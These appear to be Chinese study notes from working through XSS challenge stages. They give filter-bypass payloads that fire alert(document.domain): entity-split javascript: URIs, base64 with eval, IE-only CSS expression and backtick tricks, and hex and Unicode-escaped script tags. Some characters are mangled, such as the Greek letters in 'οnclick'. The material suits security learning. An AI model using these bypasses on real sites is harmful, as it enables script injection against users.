天天看點

XSS 漏洞繞過

Web安全攻防 學習筆記

一、XSS 漏洞

1.1、跳過 Stage #9

在 span 标簽中添加

onclick= "alert(document.domain)"

(其他關卡也可以這樣跳過)

XSS 漏洞繞過

1.2、domain 過濾繞過

首先還是構造特殊無害字元串,響應中尋找字元串觀察閉合格式。

XSS 漏洞繞過
  1. 雙寫繞過
  1. 編碼繞過

    (1)加密

    alert(document.domain)

    (2)得到

    YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==

    (3)

    atob

    解碼 base64

    (4)

    eval

    執行 JavaScript 代碼

1.3、繞過替換 script 和 on 事件的 XSS

  • script

    替換成

    xscript

    XSS 漏洞繞過
  • onmouseover

    替換成了

    onxxx

    XSS 漏洞繞過
  • JavaScript 僞協定也不行
    XSS 漏洞繞過

在 Stage #11 示範

	  tab 制表符 html 十進制編碼
	  空格 制表符 html 十進制編碼
	=>  (在這裡四個空格 ≠ 一個 tab, 當然也可能是浏覽器或者是編碼本身的問題)
	
	"><a href="javas&#09cript:alert(document.domain);">xss</a>
	"><a href="javas&#160&#160&#160&#160cript:alert(document.domain);">xss</a>
           

二、利用 IE 特性繞過 XSS 過濾

2.1、沒有 IE 浏覽器可以用 IETester 代替

  1. 官網:https://www.my-debugbar.com/wiki/IETester/HomePage
  2. 在 IETester 中打開 Stage #xx 網址進行測試
  3. 在 IETester 中進行測試,因為各個版本的 IE 都需要進行測試,Windows10 裡面自帶的 IE 不會執行

2.2、Stage #12 繞過的引号及尖括号過濾

  1. IE 中兩個反引号 `` 可以閉合一個左邊雙引号

    "

  2. 那麼比用尖括号的情況下,可以這樣閉合: ``οnclick=alert(document.domain) 。(這個隻适用于IE浏覽器,且可能不是每個版本都相容)

2.3、Stage #13 利用 CSS 特性繞過 XSS 過濾

  1. CSS 層疊樣式表,是一種用來表現 HTML 或 XML 等檔案樣式的計算機語言。可以修飾頁面效果,拿網站效果示範,修改 css 看頁面效果
  2. 觀察發現,輸入的内容存放在 style 中
  3. 輸入背景設定

    background:url("javascript:alert(document.domain);");

    (并不是所有版本的 IE 都可以)

2.4、Stage #14 IE 中利用 CSS 觸發 XSS

        css expression(css表達式)又稱 Dynamic properties(動态屬性)是早期微軟 DHTML 的産物,以其可以在 CSS 中定義表達式(公式)來達到建立元素間屬性之間的聯系等作用,從 IE5 開始得到支援,後因标準、性能、安全性等問題,微軟從 IE8 beta2 标準模式開始,取消對 css expression 的支。

  • CSS 中執行 JS

    IE5 及其以後版本支援在 CSS 中使用 expression,用來把 CSS 屬性和 JavaScript 表達式關聯起來

here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;}); 
	
=>	# 後面是一個 JS 的判斷: 如果 window.x 參數不存在, 那麼執行後面的語句
	# 由 here:expression(if(!window.x){alert(document.domain);window.x=1;}); 改寫而來
	# 因為存在 expression -> xxx 替換


	here:e\\0xpression(οnmοuseοver=function(){alert(document.domain)})
	
=>	# 意為:onmouseover 事件觸發後面的匿名函數
	# 由 here:expression(οnmοuseοver=function(){alert(document.domain)}) 改寫而來
	# 因為存在 expression -> xxx 替換
           

三、16 進制繞過過濾觸發 XSS

3.1、十六進制介紹

        十六進制轉換,16 進制每一位上可以是從小到大為

0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F

16 個大小不同 的數,即 逢 16 進 1,其中

A,B,C,D,E,F(字母不區分大小寫)

,這六個字母來分别表示

10,11,12,13,14,15

3.2、Python —— 16 進制轉換

import binascii 
	
	s = binascii.b2a_hex(">" .encode("utf8")) 
	print(s.decode()) 								# 把 > 轉換為 3e; 測試得 < 轉為 3c
	
	print("\\x"+s.decode())   						# 在編碼前面加上 \x, 第一個 \ 用來轉義, 最終得 \x3e
           
XSS 漏洞繞過

為什麼要加

\x

因為 JavaScript 不會自動将

3e

看作是

>

,因為它不認識,是以要加上

\x 即 \x3e

JavaScript 才會在執行是轉換為

>

Stage #15 測試

  1. 嘗試得,輸入之前的字元串都會被當作是字元串存放在 value 中
  2. 雙斜杠+16 進制繞過
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
	# \x3c 與 \x3e  分别表示 < 和 >
	# 還有一個 \ 用于轉義其後面的 \
           
XSS 漏洞繞過

四、Unicode 繞過過濾觸發 XSS

4.1、Unicode 介紹

        Unicode(萬國碼、國際碼、統一碼、單一碼)是計算機科學領域裡的一項業界标準。它對世界上大部分的文字系統進行了整理、編碼,使得電腦可以用更為簡單的方式來呈現和處理文字。

        Unicode 是為了解決傳統的字元編碼方案的局限而産生的,它為每種中的每個字元設定了統一并 且唯一的二進制編碼,滿足跨語言、跨平台進行文本轉換、處理的要求。

4.2、Python —— Unicode 轉換

import binascii
	
	s = binascii.b2a_hex(">".encode("utf8"))
	print(s.decode())								# 把 > 轉換為 3e; 測試得 < 轉為 3c
	
	print("\\u00"+s.decode())    					# 在編碼前面加上 \u00, 第一個 \ 用來轉義, 最終得 \u003e
           

Stage #16 測試

  1. 嘗試得,輸入之前的字元串都會被當作是字元串存放在 value 中
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
           
XSS 漏洞繞過